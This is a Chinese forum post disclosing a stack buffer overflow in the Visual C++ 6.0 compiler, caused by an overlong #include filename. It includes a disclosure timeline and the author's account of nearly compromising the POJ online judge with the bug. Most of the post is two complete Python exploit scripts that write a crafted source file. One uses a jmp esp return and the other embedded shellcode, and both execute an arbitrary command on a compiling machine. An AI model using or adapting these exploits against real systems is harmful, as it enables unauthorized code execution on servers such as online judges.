- 论坛徽章:
- 0
|
vc6.0栈溢出 \r\n问题处在include的文件名长度未检测。 \r\n比如 \r\n#include \"AAAA....AA\"(超多A) \r\n就会挂。 \r\n\r\n<=2008-2-17 发现漏洞。 \r\n2008-3-3 报告给MS,当天收到答复,说正在研究中。 \r\n2008-3-4 MS确认这是一个安全缺陷,但说Visual C++ 6.0的产品支持生命周期已经于2005年9月30日结束,因此不会为这个漏 \r\n洞发布安全公告或安全建议,且建议我不要公开。 \r\n\r\n我差点利用这个漏洞黑了poj(acm.pku.edu.cn,做acm的同学应该都知道这个网站)。 \r\n可惜功亏一篑,只得到了一台没有价值的内网机器,最后和管理员摊牌了。 \r\n既然现在poj已经把vc6.0换成了vs2008,那我就没有继续憋着的理由了哈哈。 \r\n\r\n下面给出两个不同的vc6.0 sp6的exp,其他的sp可能偏移不一样,自己调试吧。 \r\n\r\nvc6_exp.py \r\n###################################################################### \r\n#!/usr/bin/env python \r\n# vc6 exploit by cly \r\n# 2008-2-17 \r\nimport struct \r\n\r\naddress_jmp_esp = 0x1065AEB3 \r\naddress_system = 0x77BF93C7 \r\naddress_exit = 0x77C09E7E \r\nfilename = \'e.c\' \r\ncmd = \'calc\' \r\n\r\nf = open(filename, \'wb\') \r\nf.write(\'#include \"c:\\\\A\' + cmd + \'||\' + \'A\' * (146 - len(cmd)) \r\n+ struct.pack(\'<i\', address_jmp_esp) \r\n+ \'\\x83\\xEC\\x33\\x83\\xEC\\x65\\x8B\\xC4\\x83\\xEC \r\n\\x04\\x89\\x04\\x24\\xE8\' \r\n+ struct.pack(\'<i\', address_system - 0x0012F0AF) + \'\\xE8\' \r\n+ struct.pack(\'<i\', address_exit - 0x0012F0B4) + \'A\' * 84 + \r\n\'\"\') \r\nf.close() \r\n###################################################################### \r\n\r\nvc6_exp2.py \r\n###################################################################### \r\n#!/usr/bin/env python \r\n# vc6 exploit by cly \r\n# 2008-2-17 \r\nimport struct \r\n\r\nfilename = \'e.c\' \r\ncmd = \'calc\' \r\n\r\naddress_data = 0x1066EFFB \r\n\r\nshellcode = \'\\x32\\xC0\' # xor al, al \r\nshellcode += \'\\xA2\\x9E\\xF0\\x66\\x10\' # mov [1066F09E], al \r\nshellcode += \'\\xA2\\xA5\\xF0\\x66\\x10\' # mov [1066F0A5], al \r\nshellcode += \'\\x68\\x94\\xf0\\x66\\x10\' # push 1066F094 ; ASCII \r\n\"msvcrt.dll\" \r\nshellcode += \'\\xFF\\x15\\xD8\\x31\\x65\\x10\' # call [106531D8] ; \r\nkernel32.GetModuleHandleA \r\nshellcode += \'\\x68\\x9F\\xF0\\x66\\x10\' # push 1066F09F ; ASCII \r\n\"system\" \r\nshellcode += \'\\x50\' # push eax \r\nshellcode += \'\\xFF\\x15\\xDC\\x31\\x65\\x10\' # call [106531DC] ; \r\nkernel32.GetProcAddress \r\nshellcode += \'\\x68\\xA6\\xF0\\x66\\x10\' # push 1066F0A6 ; ASCII \r\ncmd \r\nshellcode += \'\\xFF\\xD0\' # call eax \r\nshellcode += \'\\x32\\xC0\' # xor al, al \r\nshellcode += \'\\x50\' # push eax \r\nshellcode += \'\\xFF\\x15\\xB8\\x31\\x65\\x10\' # call [106531B8] ; \r\nkernel32.ExitProcess \r\n\r\nf = open(filename, \'wb\') \r\nf.write(\'#include \"c:\\\\\' + shellcode + \'A\' * (149 - len(shellcode)) \r\n+ struct.pack(\'<i\', address_data) + \'msvcrt.dllAsystemA\' \r\n+ cmd + \' \' * (90 - len(cmd)) + \'\"\') \r\nf.close() \r\n###################################################################### |
|